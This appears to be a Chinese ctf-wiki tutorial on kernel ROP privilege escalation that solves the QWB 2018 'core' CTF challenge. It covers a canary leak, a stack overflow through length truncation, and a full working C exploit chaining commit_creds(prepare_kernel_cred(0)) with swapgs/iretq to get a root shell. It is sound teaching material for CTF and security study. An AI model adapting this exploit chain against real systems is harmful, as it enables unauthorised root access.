文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载本文是 ctf-wiki 内核 pwn 方向的核心技术指南聚焦Kernel ROP返回导向编程在内核态提权中的完整应用从commit_creds(prepare_kernel_cred(NULL))的提权原理到手工保存用户态寄存器、构造swapgs; iretq返回用户态再到以强网杯 2018 core 例题串起「信息泄露 → canary 绕过 → ROP 链构造 → 获得 root shell」的完整攻击流程。读完本文你将掌握内核态 ROP 的通用模板并能够独立分析、调试与复现经典的 qemu LKM 内核 pwn 题目。内核态 ROP 与用户态 ROP 的异同ROP 即返回导向编程Return-oriented programming是一种通过复用代码片段gadget控制程序执行流的攻击方式在内核 pwn 中同样适用。内核态的 ROP 与用户态的 ROP 一般无二只不过利用的 gadget 变成了内核中的 gadget所需要构造执行的 ropchain 由system(/bin/sh)变为了commit_creds(init_cred)或commit_creds(prepare_kernel_cred(NULL))。当我们成功地在内核中执行这样的代码后当前线程的 cred 结构体便变为 init 进程的 cred 的拷贝从而获得 root 权限此时在用户态起一个 shell 便能获得 root shell。要理解这一提权手段的底层依据需要先明确内核如何管理进程权限。在 ctf-wiki 的内核基础知识中详细介绍了cred结构体它定义于内核源码include/linux/cred.h包含 real UID、saved UID、effective UIDeuid内核据此进行特权判断、fsuid 等四类用户 ID 及对应的组 ID、capability 等字段。内核中有两个可以直接改变进程权限的函数位于kernel/cred.cstruct cred *prepare_kernel_cred(struct task_struct *daemon)拷贝一个进程的 cred 结构体并返回新 creddaemon参数应为有效的进程描述符地址int commit_creds(struct cred *new)将新的 cred 结构体应用到当前进程。因此执行commit_creds(prepare_kernel_cred(0))是最常用的提权手段——即先以 NULL 为参数构造一个「init 进程级」的 root cred再将其提交给当前线程。这两个函数的地址通常可以从/proc/kallsyms较老的版本是/proc/ksyms中读取例如$ grep commit_creds /proc/kallsyms ffffffffbb6af9e0 T commit_creds $ grep prepare_kernel_cred /proc/kallsyms ffffffffbb6afd90 T prepare_kernel_cred一般情况下/proc/kallsyms的内容需要 root 权限才能查看这也解释了后续例题中 init 脚本「提前把 kallsyms 转存到可读文件」这一关键动作的意义。状态保存进入内核态前模拟用户态上下文通常情况下我们的 exploit 需要进入内核态完成提权而最终仍需要着陆回用户态以获取一个 root 权限的 shell。因此在 exploit 进入内核态之前我们需要手动模拟用户态进入内核态的准备工作——保存各寄存器的值到内核栈上以便后续着陆回用户态。通常使用如下函数把各寄存器值保存到自定义全局变量中以构造 ROP 链时使用这算是一个通用的 pwn 板子。方便起见使用了内联汇编编译时需要指定参数-masmintel。size_t user_cs, user_ss, user_rflags, user_sp; void save_status(void) { asm volatile (mov user_cs, cs; mov user_ss, ss; mov user_sp, rsp; pushf; pop user_rflags; ); puts(\033[34m\033[1m[*] Status has been saved.\033[0m); }这里保存的四个值正是后续iretq返回用户态时压栈所需的完整上下文cs用户态代码段选择子、ss用户态栈段选择子、rsp用户态栈指针、rflags标志寄存器。若使用 ATT 风格的汇编不依赖-masmintel等价写法如下void save_stats() { asm( movq %%cs, %0\n movq %%ss, %1\n movq %%rsp, %3\n pushfq\n popq %2\n :r(user_cs), r(user_ss), r(user_eflags),r(user_sp) : : memory ); }关于「为何非要返回用户态」大多数我们想做的有用操作修改文件系统、创建新进程、建立网络连接等在用户态下实现要容易得多而内核空间没有便捷的手段来完成这些操作。因此构造 ROP 时最终一步必然是swapgs; iretq着陆回用户态在用户态起 shell。返回用户态swapgs 与 iretq由内核态返回用户态只需要两步swapgs指令恢复用户态 GS 寄存器sysretq或者iretq恢复到用户空间。其原理在内核基础知识的「状态切换」一节有系统阐述用户态到内核态的切换会经历swapgs切 GS、切换内核栈、压栈保存寄存器形成pt_regs结构等步骤而退出时反向执行——先swapgs恢复 GS 值再用sysretq或iretq回到用户空间如果使用iretq还需要显式给出用户空间的信息CS、rflags、rsp、SS 等。因此我们只需在内核中找到相应的 gadget 并执行swapgs; iretq就能成功着陆回用户态。通常构造如下 ROP 链返回用户态并获得 shell↓ swapgs iretq user_shell_addr user_cs user_eflags //64bit user_rflags user_sp user_ss其中user_shell_addr指向用户态中我们准备好的 shell 启动函数如spawn_shell()内部先检查getuid()是否为 0 再执行system(/bin/sh)其余四项正是save_status()保存的上下文。例题强网杯 2018 coreKernel ROP下面以强网杯 2018 的 core 一题完整演示内核态 ROP 的实战流程。该题在 ctf-wiki 中也与 ret2usr、bypass-smep、ret2dir 等章节相互印证是理解各类内核攻击手法的绝佳入口。题目文件与 gadget 提取题目提供了四个文件bzImage、core.cpio、start.sh以及带符号表的vmlinux。前三个文件的作用从名字即可看出bzImage是压缩后的内核镜像core.cpio是文件系统start.sh是 qemu 启动脚本vmlinux则是静态编译、未经过压缩的 kernel 文件可以理解为bzImage解压后的本体。由于 vmlinux 未经过压缩我们可以直接从中寻找 gadget先把 gadget 保存下来备用。建议使用 Ropper 寻找 gadget实测中 ropper 用了两分半钟就提取出了全部 gadget而 ROPgadget 用了半个小时耗尽了内存还没跑出结果。give_to_player [master●] time ropper --file ./vmlinux --nocolor g1 [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% ropper --file ./vmlinux --nocolor g1 147.42s user 25.68s system 111% cpu 2:35.17 total give_to_player [master●] time ROPgadget --binary ./vmlinux g2 [2] 16597 killed ROPgadget --binary ./vmlinux g2 ROPgadget --binary ./vmlinux g2 1064.39s user 42.52s system 54% cpu 33:35.89 total如果题目没有给出 vmlinux可以通过内核源码自带的extract-vmlinux脚本从 bzImage 中提取CISCN2017_babydriver [master●●] ./extract-vmlinux ./bzImage vmlinux CISCN2017_babydriver [master●●] file vmlinux vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]e993ea9809ee28d059537a0d5e866794f27e33b4, stripped分析 start.sh确认 KASLRgive_to_player [master●●] ls bzImage core.cpio start.sh vmlinux give_to_player [master●●] bat start.sh ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: start.sh ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ qemu-system-x86_64 \ 2 │ -m 64M \ 3 │ -kernel ./bzImage \ 4 │ -initrd ./core.cpio \ 5 │ -append root/dev/ram rw consolettyS0 oopspanic panic1 quiet kaslr \ 6 │ -s \ 7 │ -netdev user,idt0, -device e1000,netdevt0,idnic0 \ 8 │ -nographic \ ───────┴─────────────────────────────────────────────────────────────────────────────────由-append中的kaslr可知内核开启了 KASLR内核地址空间布局随机化。KASLR 的原理与用户态 ASLR 类似内核镜像映射到实际地址空间时会被加上一个随机偏移但内核内部的相对偏移不变——这正是后续利用「泄露一个函数地址 已知相对偏移」恢复内核基址并计算所有 gadget 地址的基础。未开启 KASLR 时内核代码段基址通常为0xffffffff81000000。更多细节可参考KASLR 专题。另外-s等价于-gdb tcp::1234会开放 gdb 调试端口后面调试环节会用到。解包 core.cpio 并分析 initgive_to_player [master●] file core.cpio core.cpio: gzip compressed data, last modified: Fri Mar 23 13:41:13 2018, max compression, from Unix, original size 53442048 give_to_player [master●] mkdir core give_to_player [master●] cd core core [master] mv ../core.cpio core.cpio.gz core [master●] gunzip ./core.cpio.gz core [master●] cpio -idm ./core.cpio 104379 塊 core [master●] bat init ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: init ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ #!/bin/sh 2 │ mount -t proc proc /proc 3 │ mount -t sysfs sysfs /sys 4 │ mount -t devtmpfs none /dev 5 │ /sbin/mdev -s 6 │ mkdir -p /dev/pts 7 │ mount -vt devpts -o gid4,mode620 none /dev/pts 8 │ chmod 666 /dev/ptmx 9 │ cat /proc/kallsyms /tmp/kallsyms 10 │ echo 1 /proc/sys/kernel/kptr_restrict 11 │ echo 1 /proc/sys/kernel/dmesg_restrict 12 │ ifconfig eth0 up 13 │ udhcpc -i eth0 14 │ ifconfig eth0 10.0.2.15 netmask 255.255.255.0 15 │ route add default gw 10.0.2.2 16 │ insmod /core.ko 17 │ 18 │ poweroff -d 120 -f 19 │ setsid /bin/cttyhack setuidgid 1000 /bin/sh 20 │ echo sh end!\n 21 │ umount /proc 22 │ umount /sys 23 │ 24 │ poweroff -d 0 -f ───────┴────────────────────────────init 脚本中有几处对做题至关重要的细节第 9 行把kallsyms的内容保存到了/tmp/kallsyms因此我们能够从/tmp/kallsyms中读取commit_creds、prepare_kernel_cred的函数地址前文已述正常情况下读取 kallsyms 需要 root 权限第 10 行把kptr_restrict设为 1此后不能通过/proc/kallsyms查看函数地址但第 9 行已经把信息保存到了一个可读文件这一句对攻击者而言无关紧要第 11 行把dmesg_restrict设为 1此后不能通过dmesg查看内核日志信息第 18 行设置了定时关机120 秒为避免做题干扰直接删掉这句再重新打包。同时文件系统里还有一个打包脚本gen_cpio.shcore [master●] bat gen_cpio.sh ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: gen_cpio.sh ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ find . -print0 \ 2 │ | cpio --null -ov --formatnewc \ 3 │ | gzip -9 $1 ───────┴─────────────────────────────────────────────────────────────────────────────────从名称和内容都可以看出这是方便打包的脚本。我们修改好 init 后重新打包并尝试运行内核core [master●●] vim init core [master●●] rm core.cpio core [master●●] ./gen_cpio.sh core.cpio . ./usr ./usr/sbin ./usr/sbin/popmaildir ...... ...... ./core.cpio ./core.ko 129851 塊 core [master●●] ls bin core.ko gen_cpio.sh lib linuxrc root sys usr core.cpio etc init lib64 proc sbin tmp vmlinux core [master●●] mv core.cpio .. core [master●●] cd .. give_to_player [master●●] ./start.sh此时会遇到新问题内核运行不起来从一闪而过的报错信息可以看出是分配的内存过小——start.sh中-m分配的是 64M修改为 128M 后内核才能正常运行在 QEMU 模拟环境一节中-m用于指定 RAM 大小默认 384M内核版本不同对最小内存的要求也不同。core.ko 逆向分析漏洞定位启动后在内核中加载了/core.ko。先把core.ko拷出来用 check 检查保护/ $ lsmod core 16384 0 - Live 0x0000000000000000 (O) ...... give_to_player [master●●] cp core/core.ko . give_to_player [master●●] check ./core.ko ./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]549436683d [*] /home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)可以看到模块开启了 canary 保护用 IDA 打开进一步分析其关键函数。init_module()注册了/proc/core__int64 init_module() { core_proc proc_create(core, 438LL, 0LL, core_fops); printk(\x016core: created /proc/core entry\n); return 0LL; }exit_core()删除/proc/core__int64 exit_core() { __int64 result; // rax if ( core_proc ) result remove_proc_entry(core); return result; }core_ioctl()定义三条命令分别调用core_read()、core_copy_func()和设置全局变量off__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) { switch ( a2 ) { case 0x6677889B: core_read(a3); break; case 0x6677889C: printk(\x016core: %d\n); off a3; break; case 0x6677889A: printk(\x016core: called core_copy\n); core_copy_func(a3); break; } core_copy_func(v3); }core_read()从v4[off]拷贝 64 个字节到用户空间注意全局变量off是可控的因此可以合理控制off来 leak canary 和一些地址void __fastcall core_read(__int64 a1) { __int64 v1; // rbx char *v2; // rdi signed __int64 i; // rcx char v4[64]; // [rsp0h] [rbp-50h] unsigned __int64 v5; // [rsp40h] [rbp-10h] v1 a1; v5 __readgsqword(0x28u); printk(\x016core: called core_read\n); printk(\x016%d %p\n); v2 v4; for ( i 16LL; i; --i ) { *(_DWORD *)v2 0; v2 4; } strcpy(v4, Welcome to the QWB CTF challenge.\n); if ( copy_to_user(v1, v4[off], 64LL) ) __asm { swapgs } }栈布局中v4位于[rbp-50h]64 字节canaryv5位于[rbp-10h]。缓冲区首部先被strcpy写入了固定字符串但通过off越过字符串区域即可把 canary 一并读出。core_copy_func()从全局变量name中拷贝数据到局部变量长度由我们指定关键点在于qmemcpy的长度参数是unsigned __int16而传入的长度是signed __int64因此如果控制传入长度为0xffffffffffff0000 | 0x100之类的值即可绕过 63 字节的检查实现栈溢出void __fastcall core_copy_func(signed __int64 a1) { char v1[64]; // [rsp0h] [rbp-50h] unsigned __int64 v2; // [rsp40h] [rbp-10h] v2 __readgsqword(0x28u); printk(\x016core: called core_writen); if ( a1 63 ) printk(\x016Detect Overflow); else qmemcpy(v1, name, (unsigned __int16)a1); // overflow }core_write()向全局变量name上写这样通过core_write()和core_copy_func()就可以控制 ropchain 了signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) { unsigned __int64 v3; // rbx v3 a3; printk(\x016core: called core_writen); if ( v3 0x800 !copy_from_user(name, a2, v3) ) return (unsigned int)v3; printk(\x016core: error copying data from userspacen); return 0xFFFFFFF2LL; }综合以上分析漏洞全貌清晰core_read 可控off构成任意偏移读取leak canarycore_write写入全局namecore_copy_func中的类型截断绕过长度检查构成栈溢出可控制返回地址执行 ROP。利用思路经过如上分析可以得出以下攻击流程通过 ioctl 设置off然后通过core_read()leak 出 canary通过core_write()向name写构造 ropchain通过core_copy_func()从name向局部变量拷贝通过设置合理的长度和 canary 进行 ROP通过 ROP 执行commit_creds(prepare_kernel_cred(0))返回用户态通过system(/bin/sh)起 shell。需要解决的两个核心问题如何获得commit_creds()、prepare_kernel_cred()的地址/tmp/kallsyms中保存了这些地址可以直接读取同时根据偏移固定也能确定 gadgets 的地址——即先由泄露的函数地址算出vmlinux_base再gadget raw_gadget - raw_vmlinux_base vmlinux_base。如何返回用户态使用swapgs; iretq如前文所述需要设置cs、rflags等信息可以写一个函数保存这些信息。调试gdb 连接 qemuqemu 内置有 gdb 接口give_to_player [master●●] qemu-system-x86_64 --help | grep gdb -gdb dev wait for gdb connection on dev -s shorthand for -gdb tcp::1234即可以通过-gdb tcp:port或-s开启调试端口start.sh中已经带了-s不必自己再设置。通过gdb ./vmlinux启动时虽然加载了内核的符号表但没有加载驱动core.ko的符号表可以通过add-symbol-file core.ko textaddr加载pwndbg help add-symbol-file Load symbols from FILE, assuming FILE has been dynamically loaded. Usage: add-symbol-file FILE ADDR [-s SECT SECT_ADDR -s SECT SECT_ADDR ...] ADDR is the starting address of the files text. The optional arguments are section-name section-address pairs and should be specified if the data and bss segments are not contiguous with the text. SECT is a section name to be loaded at SECT_ADDR..text段的地址可以通过/sys/modules/core/section/.text查看查看需要 root 权限因此为了方便调试我们再改一下init把 shell 以 root 权限启动# setsid /bin/cttyhack setuidgid 1000 /bin/sh setsid /bin/cttyhack setuidgid 0 /bin/sh重新打包后启动即为 root 权限随后按如下方式附加 gdb// qemu 內 / # cat /sys/modules/core/sections/.text 0xffffffffc018b000 ...... ...... // qemu 外 give_to_player [master●●] gdb ./vmlinux -q pwndbg: loaded 174 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from ./vmlinux...(no debugging symbols found)...done. pwndbg add-symbol-file ./core.ko 0xffffffffc018b000 add symbol table from file ./core.ko at .text_addr 0xffffffffc018b000 Reading symbols from ./core.ko...(no debugging symbols found)...done. pwndbg b core_read # 加載了符號表就可以直接對函數下斷點了 Breakpoint 1 at 0xffffffffc018b063 pwndbg b *(0xffffffffc018b0000xCC)# 或者根據基地址直接下斷點 Breakpoint 2 at 0xffffffffc018b0cc pwndbg target remote localhost:1234 Remote debugging using localhost:1234在 qemu 内运行 exploit此时已进入core_read断点命中可以观察到调用方寄存器与栈状态pwndbg c Continuing. ...... // qemu 內 / # /tmp/exploit [*]status has been saved. commit_creds addr: 0xffffffffa169c8e0 vmlinux_base addr: 0xffffffffa1600000 prepare_kernel_cred addr: 0xffffffffa169cce0 [*]set off to 64 [*]read to buf. ...... // qemu 外 pwndbg c Continuing. ...... Breakpoint 1, 0xffffffffc018b063 in core_read () ...... ► 0xffffffffc018b063 core_read push rbx 0xffffffffc018b064 core_read1 mov rbx, rdi 0xffffffffc018b067 core_read4 mov rdi, -0x3fe73f85 0xffffffffc018b06e core_read11 sub rsp, 0x48 0xffffffffc018b072 core_read15 mov rax, qword ptr gs:[0x28] 0xffffffffc018b07b core_read24 mov qword ptr [rsp 0x40], rax 0xffffffffc018b080 core_read29 xor eax, eax 0xffffffffc018b082 core_read31 call 0xffffffffa16c6845 0xffffffffc018b087 core_read36 mov rsi, qword ptr [rip 0x2b72] 0xffffffffc018b08e core_read43 mov rdx, rbx 0xffffffffc018b091 core_read46 mov rdi, -0x3fe73f6b ────────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0xffffb0f3800dbe68 —▸ 0xffffffffc018b19b (core_ioctl60) ◂— 0xc7c748d6894818eb 01:0008│ 0xffffb0f3800dbe70 —▸ 0xffff8f25071b3840 ◂— add qword ptr [r8], rax /* 0x81b6f000014b */ 02:0010│ 0xffffb0f3800dbe78 —▸ 0xffffffffa17dd6d1 ◂— 0xe824048948df8948 03:0018│ 0xffffb0f3800dbe80 ◂— 0x889b 04:0020│ 0xffffb0f3800dbe88 —▸ 0xffff8f2507680d00 ◂— 0 05:0028│ 0xffffb0f3800dbe98 —▸ 0xffffffffa178ecfa ◂— 0x9e840ffffffdfd3d 06:0030│ 0xffffb0f3800dbe98 —▸ 0xffffb0f3800dbe70 —▸ 0xffff8f25071b3840 ◂— add qword ptr [r8], rax /* 0x81b6f000014b */ 07:0038│ 0xffffb0f3800dbea0 ◂— 0x10 Breakpoint core_read pwndbg最终 exploit完整的 exploit 如下以gcc exploit.c -static -masmintel -g -o exploit编译// gcc exploit.c -static -masmintel -g -o exploit #include string.h #include stdio.h #include stdlib.h #include unistd.h #include fcntl.h #include sys/stat.h #include sys/types.h #include sys/ioctl.h void spawn_shell() { if(!getuid()) { system(/bin/sh); } else { puts([*]spawn shell error!); } exit(0); } size_t commit_creds 0, prepare_kernel_cred 0; size_t raw_vmlinux_base 0xffffffff81000000; size_t vmlinux_base 0; size_t find_symbols() { FILE* kallsyms_fd fopen(/tmp/kallsyms, r); if(kallsyms_fd 0) { puts([*]open kallsyms error!); exit(0); } char buf[0x30] {0}; while(fgets(buf, 0x30, kallsyms_fd)) { if(commit_creds prepare_kernel_cred) return 0; if(strstr(buf, commit_creds) !commit_creds) { char hex[20] {0}; strncpy(hex, buf, 16); sscanf(hex, %llx, commit_creds); printf(commit_creds addr: %p\n, commit_creds); /* commit_creds 相对 vmlinux 基址的偏移为 0x9c8e0可由 * ELF(./vmlinux).sym[commit_creds] - 0xffffffff81000000 得到 */ vmlinux_base commit_creds - 0x9c8e0; printf(vmlinux_base addr: %p\n, vmlinux_base); } if(strstr(buf, prepare_kernel_cred) !prepare_kernel_cred) { char hex[20] {0}; strncpy(hex, buf, 16); sscanf(hex, %llx, prepare_kernel_cred); printf(prepare_kernel_cred addr: %p\n, prepare_kernel_cred); vmlinux_base prepare_kernel_cred - 0x9cce0; } } if(!(prepare_kernel_cred commit_creds)) { puts([*]Error!); exit(0); } } size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__(mov user_cs, cs; mov user_ss, ss; mov user_sp, rsp; pushf; pop user_rflags; ); puts([*]status has been saved.); } void set_off(int fd, long long idx) { printf([*]set off to %ld\n, idx); ioctl(fd, 0x6677889C, idx); } void core_read(int fd, char *buf) { puts([*]read to buf.); ioctl(fd, 0x6677889B, buf); } void core_copy_func(int fd, long long size) { printf([*]copy from user with size: %ld\n, size); ioctl(fd, 0x6677889A, size); } int main() { save_status(); int fd open(/proc/core, 2); if(fd 0) { puts([*]open /proc/core error!); exit(0); } find_symbols(); // gadget raw_gadget - raw_vmlinux_base vmlinux_base; ssize_t offset vmlinux_base - raw_vmlinux_base; set_off(fd, 0x40); char buf[0x40] {0}; core_read(fd, buf); size_t canary ((size_t *)buf)[0]; printf([]canary: %p\n, canary); size_t rop[0x1000] {0}; int i; for(i 0; i 10; i) { rop[i] canary; } rop[i] 0xffffffff81000b2f offset; // pop rdi; ret rop[i] 0; rop[i] prepare_kernel_cred; // prepare_kernel_cred(0) rop[i] 0xffffffff810a0f49 offset; // pop rdx; ret rop[i] 0xffffffff81021e53 offset; // pop rcx; ret rop[i] 0xffffffff8101aa6a offset; // mov rdi, rax; call rdx; rop[i] commit_creds; rop[i] 0xffffffff81a012da offset; // swapgs; popfq; ret rop[i] 0; rop[i] 0xffffffff81050ac2 offset; // iretq; ret; rop[i] (size_t)spawn_shell; // rip rop[i] user_cs; rop[i] user_rflags; rop[i] user_sp; rop[i] user_ss; write(fd, rop, 0x800); core_copy_func(fd, 0xffffffffffff0000 | (0x100)); return 0; }对 ROP 链关键节点的解读set_off(fd, 0x40)把off设为 0x4064core_read恰好从 canary 所在位置v4 0x40开始读取 64 字节buf[0]即 canaryfind_symbols()从/tmp/kallsyms中解析commit_creds与prepare_kernel_cred的真实地址并据此恢复被 KASLR 随机化后的vmlinux_baserop数组前 10 个 qword 全部填入 canary用于淹没core_copy_func栈帧中从缓冲区v1到返回地址之间的区域其中 canary 位于[rbp-0x10]必须原样保留才能通过栈检查提权序列为prepare_kernel_cred(0)→mov rdi, rax; call rdx把返回值作为第一个参数调用commit_creds其中call rdx依赖pop rdx预先装入commit_creds地址pop rcx则用于满足mov rdi, rax; call rdxgadget 的寄存器约束着陆序列为swapgs; popfq; retpop 掉栈上占位的 0→iretq; ret随后依次摆放spawn_shell、user_cs、user_rflags、user_sp、user_ss与前述返回用户态 ROP 链布局完全一致core_copy_func(fd, 0xffffffffffff0000 | 0x100)该值大于 63 会触发 Detect Overflow 打印但长度参数被qmemcpy以unsigned __int16截断后实际为0x100从而把name中的 ROP 链完整拷入栈中。获取 root shellQWB2018_core [master●●] gcc exploit.c -static -masmintel -g -o exploit // 如果使用 intel 彙編需要加上 -masmintel QWB2018_core [master●●] cp exploit give_to_player/core/tmp QWB2018_core [master●●] cd give_to_player/core core [master●●] ./gen_cpio.sh core.cpio . ./usr ./usr/sbin ...... core [master●●] mv core.cpio .. give_to_player [master●●] ./start.sh / $ ls /tmp/ exploit kallsyms / $ id uid1000(chal) gid1000(chal) groups1000(chal) / $ /tmp/exploit [*]status has been saved. commit_creds addr: 0xffffffffbd09c8e0 vmlinux_base addr: 0xffffffffbd000000 prepare_kernel_cred addr: 0xffffffffbd09cce0 [*]set off to 64 [*]read to buf. []canary: 0x6be486f377bb8600 [*]copy from user with size: -65280 / # id uid0(root) gid0(root)运行 exploit 后id显示当前用户从uid1000(chal)变为uid0(root)说明commit_creds(prepare_kernel_cred(0))的 ROP 链在内核中成功执行提权完成。延伸从 Kernel ROP 到其他内核攻击手法Kernel ROP 是内核 pwn 的基础功但实战中常常需要与其它手法组合使用ctf-wiki 提供了完整的配套章节SMEP/SMAP 与 ROP 的关系SMEP管理模式执行保护禁止 ring0 下执行用户空间代码会使 ret2usr 直接触发 kernel panic但可以通过内核 ROP 执行mov cr4, ...修改 CR4 寄存器第 20 位关闭 SMEP再继续 ret2usr。详见 bypass-smep其中给出了与本例同源强网杯 2018 core的swapgs_restore_regs_and_return_to_usermode返回方式ret2usr 与 ret2dir将内核指令指针重定向到用户空间提权代码的 ret2usr 手法以及利用线性映射区物理内存别名绕过 SMEP 的 ret2dirKPTI 的影响KPTI内核页表隔离开启后内核页表中的用户地址空间不再拥有执行权限ret2usr 彻底失效同时返回用户态时需要额外处理 CR3 切换详见 KPTI 专题环境搭建完整的 qemu 启动参数-m、-kernel、-initrd、-append、-cpu、-smp等、busybox 文件系统构建与 cpio 打包/解包方法参见 QEMU 模拟环境提权原理cred结构体、prepare_kernel_cred/commit_creds的语义、KASLR 的随机化模型与 SMEP/SMAP/KPTI 等全部防御机制的底层说明均可回溯内核基础知识系统学习。掌握强网杯 2018 core 一题意味着你已经打通了「信息泄露 → canary 绕过 → 内核 ROP → 返回用户态」这一最经典的内核 pwn 攻击链在此基础上叠加 SMEP bypass、KPTI 处理与堆利用等技巧即可应对绝大多数 CTF 内核提权题目。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐ctf-wiki Pwn 实战Linux 用户态下获取 Shell 的四种方式全解析ctf wiki Pwn 实战Linux 用户态下获取 Shell 的四种方式全解析 本篇技术文章基于 ctf wiki 的 Linux 用户态 Pwn「获取文档网络安全教程AsyncDisplayKit状态恢复最佳实践保存用户界面状态AsyncDisplayKit状态恢复最佳实践保存用户界面状态 在iOS应用开发中用户界面状态的保存与恢复是提升用户体验的关键环节。当应用因内存不足被系统终移动开发UI组件超越传统存储管理mergerfs联合文件系统的技术深度解析超越传统存储管理mergerfs联合文件系统的技术深度解析 在当今数据爆炸的时代如何高效管理分散在多块硬盘上的海量文件成为了技术爱好者和系统管理员面临的共同存储上一篇Vert.x与Spring Boot集成指南传统框架与现代响应式架构的完美结合下一篇推荐使用Slack Send GitHub Action - 实时通知利器创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
阅读完成 · 觉得有帮助?